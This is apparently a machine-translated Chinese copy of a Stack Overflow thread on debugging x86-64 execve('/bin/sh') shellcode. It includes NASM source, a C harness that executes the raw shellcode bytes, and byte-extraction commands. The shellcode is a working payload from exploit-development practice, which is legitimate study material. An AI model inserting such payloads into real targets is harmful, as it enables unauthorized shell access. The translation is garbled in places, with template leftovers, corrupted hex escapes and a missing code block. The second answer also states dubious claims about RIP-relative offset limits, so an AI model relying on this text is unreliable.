当下一个(跳过)指令是变量定义时,Shellcode中的JMP意外行为

时间:2017-12-23 05:09:57

标签: linux assembly x86-64

目的:我试图利用x86-64中的RIP模式。即使程序集本身按预期执行,shellcode也不会。

问题:简单地说,我尝试了这个,

jmp l1
str1: db "some string"
l1:
   other code
   lea rax, [rel str1]

我在不同地方使用了上述内容,仅在某些地方失败并在其他地方成功。我试图玩,并在失败时找不到任何模式。当变量(str1:db指令)位置在访问它的指令之后,它永远不会失败(在我的观察中)。但是,我想删除空值,因此我在访问它之前放置了变量定义。

调试查找
在调试时,我发现失败的jmp指向一些不正确的指令地址。 例如:(在gdb中)

(code + 18) jmp [code +27] //jmp pointing incorrectly to in-between 2
(code + 22) ... (this part has label)
(code + 24) some instruction // this is where I intended the jmp
(code + 28) some other instruction

代码 这是一个示例代码,我试图生成一个Execve Shell。它非常大,所以我确定了罪魁祸首JMP的位置。

global _start
section .text
_start: 
    xor rax,rax
    mov rsi,rax
    mov rdi,rsi
    mov rdx,rdi
    mov r8,rdx
    mov rcx,r8
    mov rbx,rcx
    jmp gg //failing (jumping somewhere unintended)
    p2: db "/bin/sh"        
gg:
    xor rax,rax
    lea rdi, [rel p2]
    mov [rdi+7], byte al //null terminating using 0x00 from rax
    mov [rdi+8], rdi
    mov [rdi+16],rax


    lea rsi,[rdi+8]
    lea rdx,[rdi+16]
    mov al,59
    syscall

修改:1 修改了代码以包含失败的指令

修改:2 我使用的C中的Shellcode。

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x48\x31\xc0\x48\x89\xc6\x48\x89\xf7\x48\x89\xfa\x49\x89\xd0\x4c\x89\xc1\x48\x89\xcb\xeb\x07\x2f\x62\x69\x6e\x2f\x73\x68\x48\x31\x48\x31\xc0\x48\x8d\x3d\xef\xff\xff\xff\x88\x47\x07\x48\x89\x7f\x08\x48\x89\x47\x10\x48\x8d\x77\x08\x48\x8d\x57\x10\xb0\x3b\x0f\x05";
main()
{

    printf("Shellcode Length:  %d\n", (int)strlen(code));

    int (*ret)() = (int(*)())code;

    ret();

}

编辑3 我会通过放置以下代码将Hexdump放入一个Bash文件并通过传递filename作为参数来运行它。从ShellStorm接收它。

`for i in $(objdump -d $1 -M intel |grep "^ " |cut -f2); do echo -n '\x'$i`;

2 个答案:

答案 0 :(得分:3)

TL; DR :用于将独立shell代码程序shellExec转换为shell代码漏洞利用字符串的方法存在问题。

根据给出的信息,我怀疑问题是您使用反汇编输出生成最终字节流的方式,该最终字节流将转换为您的shell代码字符串。可能反汇编输出有令人困惑的输出和可能重复的值。在尝试反汇编数据时(与代码混合),它尝试输出最短的可编码指令以完成所有数据的使用,然后发现你有一个JMP目标,并在备份重新同步时复制了一些字节。无论使用什么过程将反汇编转换为二进制都没有考虑到这种问题。

不要使用反汇编输出来生成二进制文件。使用shell代码生成您的独立可执行文件(我相信shellExec是您的文件中的文件)并使用 OBJCOPY HEXDUMP 等工具生成 C shell代码字符串:

objcopy -j.text -O binary execShell execShell.bin
hexdump -v -e '"\\""x" 1/1 "%02x" ""' execShell.bin

objcopy命令获取execShell可执行文件并仅提取.text部分(使用-j.text选项)并将二进制数据输出到文件{{1} }。 execShell.bin命令只是重新格式化二进制文件并以可在 C 字符串中使用的形式输出。此过程不涉及解析任何令人困惑的反汇编输出,因此不会遇到您遇到的问题。 hexdump的输出应如下所示:

  

\ X48 \ X31 \ XC0 \ X48 \ X89 \ XC6 \ X48 \ X89 \ XF7 \ X48 \ X89 \ XFA \ X49 \ X89 \ XD0 \ x4c \ X89 \ XC1 \ X48 \ X89 \ XCB \ XEB \ X07 \ X2F \ X62 \ X69 \ x6e \ X2F \ X73 \ X68的 \ X48 \ X31 \ XC0 \ X48 \ x8d \ X3D \ XEF \ XFF \ XFF \ XFF \ X88 \ X47 \ X07 \ X48 \ X89 \ 0x7F部分\ X08 \ X48 \ X89 \ X47 \ X10 \ X48 \ x8d \ X77 \ X08 \ X48 \ x8d \ X57 \ X10 \ XB0 \ X3B \ X0F \ X05

这与你的略有不同:

  

\ X48 \ X31 \ XC0 \ X48 \ X89 \ XC6 \ X48 \ X89 \ XF7 \ X48 \ X89 \ XFA \ X49 \ X89 \ XD0 \ x4c \ X89 \ XC1 \ X48 \ X89 \ XCB \ XEB \ X07 \ X2F \ X62 \ X69 \ x6e \ X2F \ X73 \ X68的 \ X48 \ X31 \ X48 \ X31 \ XC0 \ X48 \ x8d \ X3D \ XEF \ XFF \ XFF \ XFF \ X88 \ X47 \ X07 \ X48 \ X89 \ 0x7F部分\ X08 \ X48 \ X89 \ X47 \ X10 \ X48 \ x8d \ X77 \ X08 \ X48 \ x8d \ X57 \ X10 \ XB0 \ X3B \ X0F \ X05

我突出了它的不同之处。在字符串hexdump之后,您的输出引入了额外的/bin/sh。 shell代码字符串中的额外2个字节负责代码未在目标可执行文件中按预期运行。

答案 1 :(得分:0)

我可以在使用nasm更改//后使用;编译代码,但我并没有尝试执行它。

nasm -f elf64 a.s -o a

然后我可以用以下代码查看代码:

objdump -d a

您要问的代码部分就像(jmp

  12:   48 89 cb                mov    %rcx,%rbx
  15:   eb 07                   jmp    1e <gg>

0000000000000017 <p2>:
  17:   2f                      (bad)  
  18:   62                      (bad)  
  19:   69                      .byte 0x69
  1a:   6e                      outsb  %ds:(%rsi),(%dx)
  1b:   2f                      (bad)  
  1c:   73 68                   jae    86 <gg+0x68>

000000000000001e <gg>:
  1e:   48 31 c0                xor    %rax,%rax

但是,以下是一些问题:

    mov [rdi+7], byte al ;null terminating using 0x00 from rax
    mov [rdi+8], rdi
    mov [rdi+16],rax
  1. 您正在尝试写入READ-ONLY内存。代码无法修改

  2. mov rdi / rax可能未对齐

  3. 如果该代码成功,则会在gg:覆盖您的代码。

  4. 另外,在gg:之前放置一个by对齐是个好主意:

    p2: "..."
    align   16
    gg:
       xor rax,rax
    

    因此,由于代码是只读的,所以你必须手动将零放在那里。

    p2: db "..."
        db 0
        db 0, 0, 0, 0, 0, 0, 0, 0
        db 0, 0, 0, 0, 0, 0, 0, 0
    

    如果您知道它已对齐,dq也会有效。

    但请注意,您没有对齐p2,因此您无法确定(例如,如果您的代码更改,则对齐很可能也会发生更改。)您可能希望这样做:

        align 16
    p2: db "..."
        db 0
        dq 0
        dq 0
    

    最后一点,[rel p2]非常有限。据我所知,这些指令中的相对偏移限制为-127和+128。但是,在我的64位处理器上,它使用32位偏移量。您可能一直在运行这样的问题,取决于您的汇编程序,它决定它太远了。在您的情况下,一种解决方案是将lea指令放在jmp之前的数据上。我想如果偏移量溢出,编译器应该生成错误。另一种可能性是某种方式得到优化并且jmp没有得到正确的更新。

    作为旁注,以下内容未得到很好的优化:

        xor rax,rax
        mov rsi,rax
        mov rdi,rsi
        mov rdx,rdi
        mov r8,rdx
    

    对所有寄存器使用xor或每次重复使用rax而不是切换会更好地工作(更可能并行工作)。现在,您将所有说明绑定到上一个(即在rsi中复制rdi之前),您需要将rax复制到rsi。{{1}将删除该依赖关系。)我认为在这种情况下你不会看到任何差异,但是要记住好的优化。

    通过对齐并在代码中添加零,我得到:

    mov rdi,rax

    请注意,在反汇编时,如果您的数据代表一条指令,它最终可能会使用有效代码中的字节,因此无法显示您的预期结果。即它最终无法找到目的地标签。不过,我们在这里很好。